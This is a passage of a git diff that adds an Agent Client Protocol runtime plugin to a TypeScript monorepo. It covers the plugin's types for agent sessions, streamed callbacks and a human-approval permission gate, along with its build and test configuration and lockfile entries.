+export function normalizeToolArgs(rawInput: unknown): Record {
+ if (rawInput === null || typeof rawInput !== "object" || Array.isArray(rawInput)) {
+ return {};
+ }
+ return rawInput as Record;
+}
diff --git a/plugins/fusion-plugin-acp-runtime/src/types.ts b/plugins/fusion-plugin-acp-runtime/src/types.ts
new file mode 100644
index 0000000000..3343c80928
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/types.ts
@@ -0,0 +1,139 @@
+// Local types for the ACP (Agent Client Protocol) runtime plugin.
+//
+// The wire protocol types come from `@agentclientprotocol/sdk` (the `schema`
+// namespace). These local types describe (a) the Fusion `AgentRuntime` contract
+// this plugin implements and (b) the ACP session state this plugin tracks.
+//
+// The `AgentRuntimeOptions` here is a plugin-local structural copy of the engine
+// contract (`packages/engine/src/agent-runtime.ts`). It deliberately includes
+// only the fields this runtime reads. `actionGateContext` is the engine-populated
+// per-run permission gate — see `PermissionGate` below, the narrow structural
+// view this plugin couples to instead of importing `@fusion/engine` internals.
+
+import type { AcpConnection } from "./provider.js";
+
+/** Callbacks the engine wires to surface streamed agent output into Fusion's UI/logs. */
+export interface AcpCallbacks {
+ onText?: (text: string) => void;
+ onThinking?: (text: string) => void;
+ onToolStart?: (toolName: string, args?: unknown) => void;
+ onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void;
+}
+
+/** Per-category permission disposition (mirrors the engine policy shape). */
+export type GateDisposition = "allow" | "block" | "require-approval";
+
+/**
+ * Fusion action-gate categories — the full policy-rule keyspace, used to read
+ * `permissionPolicy.rules[category]`. `"exempt"` is implicit (read-only / benign)
+ * and always allows.
+ *
+ * Note: ACP's `ToolKind` has no git/task discriminator, so `classifyToolKind`
+ * only ever produces `file_write_delete` / `command_execution` / `network_api`
+ * (+ exempt). `git_write` and `task_agent_mutation` remain part of the category
+ * type because the policy rules are keyed by all categories — git writes in
+ * particular route through `file_write_delete` gating PLUS the path-jail's hard
+ * `.git/**` reject (KTD6a), not a dedicated `git_write` classification.
+ */
+export type FusionCategory =
+ | "git_write"
+ | "file_write_delete"
+ | "command_execution"
+ | "network_api"
+ | "task_agent_mutation";
+
+/** Approval lifecycle status as returned by the gate's lookup closure. */
+export type ApprovalStatus = "pending" | "approved" | "denied" | "completed";
+
+/**
+ * Narrow structural view of the engine's `AgentActionGateContext`
+ * (`packages/engine/src/agent-action-gate.ts`). The plugin reads only these
+ * members; typing them locally avoids a hard dependency on `@fusion/engine`.
+ *
+ * `permissionPolicy.rules` is the per-category disposition map the U5 floor
+ * consults — NEVER a preset id (S1/KTD3a). All HITL closures except
+ * `createApprovalRequest` are optional: when the HITL machinery is absent, the
+ * permission floor (U5) default-denies `require-approval` categories rather than
+ * throwing (Risk S1).
+ */
+export interface PermissionGate {
+ permissionPolicy?: {
+ rules?: Record;
+ };
+ /** Register an approval request; returns the created record (with an `id`). */
+ createApprovalRequest?: (
+ decision: unknown,
+ args: Record,
+ ) => Promise | unknown;
+ /** Look up a prior decision by dedupe key (decision reuse). */
+ findApprovalByDedupeKey?: (
+ dedupeKey: string,
+ ) => Promise<{ id: string; status: ApprovalStatus } | null> | { id: string; status: ApprovalStatus } | null;
+ /** Block until the human resolves the referenced approval request. */
+ pauseForApproval?: (info: {
+ approvalRequestId: string;
+ decision: unknown;
+ }) => Promise | void;
+ /** Mark an approval request finalized after the decision is consumed. */
+ markApprovalCompleted?: (approvalRequestId: string) => Promise | void;
+}
+
+/** Plugin-local copy of the engine's AgentRuntimeOptions (subset this runtime reads). */
+export interface AgentRuntimeOptions {
+ cwd: string;
+ systemPrompt: string;
+ tools?: "coding" | "readonly";
+ onText?: (text: string) => void;
+ onThinking?: (text: string) => void;
+ onToolStart?: (toolName: string, args?: unknown) => void;
+ onToolEnd?: (toolName: string, isError: boolean, result?: unknown) => void;
+ defaultProvider?: string;
+ defaultModelId?: string;
+ defaultThinkingLevel?: string;
+ /** Per-run permission gate, populated by the engine. See PermissionGate. */
+ actionGateContext?: PermissionGate;
+}
+
+/** Live ACP session state tracked by the runtime adapter. */
+export interface AcpSession {
+ /** Model/agent identifier resolved for this session. */
+ model: string;
+ systemPrompt: string;
+ /** ACP session id returned by `session/new` (empty until established). */
+ sessionId: string;
+ /** Working directory the agent operates over (the task worktree). */
+ cwd: string;
+ lastModelDescription: string;
+ callbacks: AcpCallbacks;
+ /** Per-run permission gate captured at createSession (U5/U7 read this). */
+ gate?: PermissionGate;
+ /**
+ * Live ACP connection backing this session (U3). Prompt/dispose reach the
+ * agent through it. Undefined only for the bare session shell used in tests.
+ */
+ connection?: AcpConnection;
+ /**
+ * Reset the event bridge's per-turn state (tool correlation, delta
+ * accumulators, output-cap latch). Called by `promptWithFallback` at the start
+ * of each turn (FIX 1). Undefined for the bare session shell used in tests.
+ */
+ resetTurn?: () => void;
+ dispose(): void;
+}
+
+export type AgentSession = AcpSession;
+
+export interface AgentSessionResult {
+ session: AgentSession;
+ sessionFile?: string;
+}
+
+/** The Fusion runtime contract this plugin implements (mirrors the engine interface). */
+export interface AgentRuntime {
+ id: string;
+ name: string;
+ createSession(options: AgentRuntimeOptions): Promise;
+ promptWithFallback(session: AgentSession, prompt: string, options?: unknown): Promise;
+ describeModel(session: AgentSession): string;
+ dispose?(session: AgentSession): Promise;
+}
diff --git a/plugins/fusion-plugin-acp-runtime/tsconfig.json b/plugins/fusion-plugin-acp-runtime/tsconfig.json
new file mode 100644
index 0000000000..a5a86f4738
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/tsconfig.json
@@ -0,0 +1,9 @@
+{
+ "extends": "../../tsconfig.base.json",
+ "compilerOptions": {
+ "outDir": "dist",
+ "rootDir": "src",
+ "types": ["node", "vitest/globals"]
+ },
+ "include": ["src/**/*"]
+}
diff --git a/plugins/fusion-plugin-acp-runtime/vitest.config.ts b/plugins/fusion-plugin-acp-runtime/vitest.config.ts
new file mode 100644
index 0000000000..7f8fb8a972
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/vitest.config.ts
@@ -0,0 +1,22 @@
+import { defineConfig } from "vitest/config";
+import { fileURLToPath } from "node:url";
+import { computeMaxWorkers } from "../../packages/core/src/__test-utils__/vitest-workers";
+
+const maxWorkers = computeMaxWorkers();
+
+export default defineConfig({
+ resolve: {
+ alias: {
+ "@fusion/core": fileURLToPath(new URL("../../packages/core/src/index.ts", import.meta.url)),
+ "@fusion/plugin-sdk": fileURLToPath(new URL("../../packages/plugin-sdk/src/index.ts", import.meta.url)),
+ },
+ },
+ test: {
+ include: ["src/**/*.test.ts"],
+ setupFiles: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-setup.ts", import.meta.url))],
+ globalSetup: [fileURLToPath(new URL("../../packages/core/src/__test-utils__/vitest-teardown.ts", import.meta.url))],
+ pool: "threads",
+ maxWorkers,
+ poolOptions: { threads: { minThreads: 1, maxThreads: maxWorkers }, forks: { minForks: 1, maxForks: maxWorkers } },
+ },
+});
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index e707cf667e..138e4218ad 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -630,6 +630,31 @@ importers:
specifier: ^3.2.4
version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0)
+ plugins/fusion-plugin-acp-runtime:
+ dependencies:
+ '@agentclientprotocol/sdk':
+ specifier: 0.24.0
+ version: 0.24.0(zod@4.3.6)
+ '@earendil-works/pi-ai':
+ specifier: '*'
+ version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6)
+ '@earendil-works/pi-coding-agent':
+ specifier: '*'
+ version: 0.78.0(@modelcontextprotocol/sdk@1.28.0(zod@4.3.6))(ws@8.20.0)(zod@4.3.6)
+ '@fusion/plugin-sdk':
+ specifier: workspace:*
+ version: link:../../packages/plugin-sdk
+ devDependencies:
+ '@types/node':
+ specifier: ^25.5.2
+ version: 25.5.2
+ typescript:
+ specifier: ^5.7.0
+ version: 5.9.3
+ vitest:
+ specifier: ^3.2.4
+ version: 3.2.4(@types/debug@4.1.13)(@types/node@25.5.2)(jiti@2.7.0)(jsdom@29.0.1)(tsx@4.21.0)(yaml@2.9.0)
+
plugins/fusion-plugin-agent-browser:
dependencies:
'@fusion/plugin-sdk':
@@ -1005,6 +1030,11 @@ packages:
'@adobe/css-tools@4.4.4':
resolution: {integrity: sha512-Elp+iwUx5rN5+Y8xLt5/GRoG20WGoDCQ/1Fb+1LiGtvwbDavuSk0jhD/eZdckHAuzcDzccnkv+rEjyWfRx18gg==}
+ '@agentclientprotocol/sdk@0.24.0':
+ resolution: {integrity: sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==}
+ peerDependencies:
+ zod: ^3.25.0 || ^4.0.0
+
'@alcalzone/ansi-tokenize@0.2.5':
resolution: {integrity: sha512-3NX/MpTdroi0aKz134A6RC2Gb2iXVECN4QaAXnvCIxxIm3C3AVB1mkUe8NaaiyvOpDfsrqWhYtj+Q6a62RrTsw==}
engines: {node: '>=18'}
@@ -6473,6 +6503,10 @@ snapshots:
'@adobe/css-tools@4.4.4': {}
+ '@agentclientprotocol/sdk@0.24.0(zod@4.3.6)':
+ dependencies:
+ zod: 4.3.6
+
'@alcalzone/ansi-tokenize@0.2.5':
dependencies:
ansi-styles: 6.2.3
diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml
index 643628e0b8..79c2758636 100644
--- a/pnpm-workspace.yaml
+++ b/pnpm-workspace.yaml
@@ -21,6 +21,7 @@ packages:
- "plugins/fusion-plugin-openclaw-runtime"
- "plugins/fusion-plugin-hermes-runtime"
- "plugins/fusion-plugin-droid-runtime"
+ - "plugins/fusion-plugin-acp-runtime"
- "plugins/fusion-plugin-cursor-runtime"
- "plugins/fusion-plugin-agent-browser"
- "plugins/fusion-plugin-whatsapp-chat"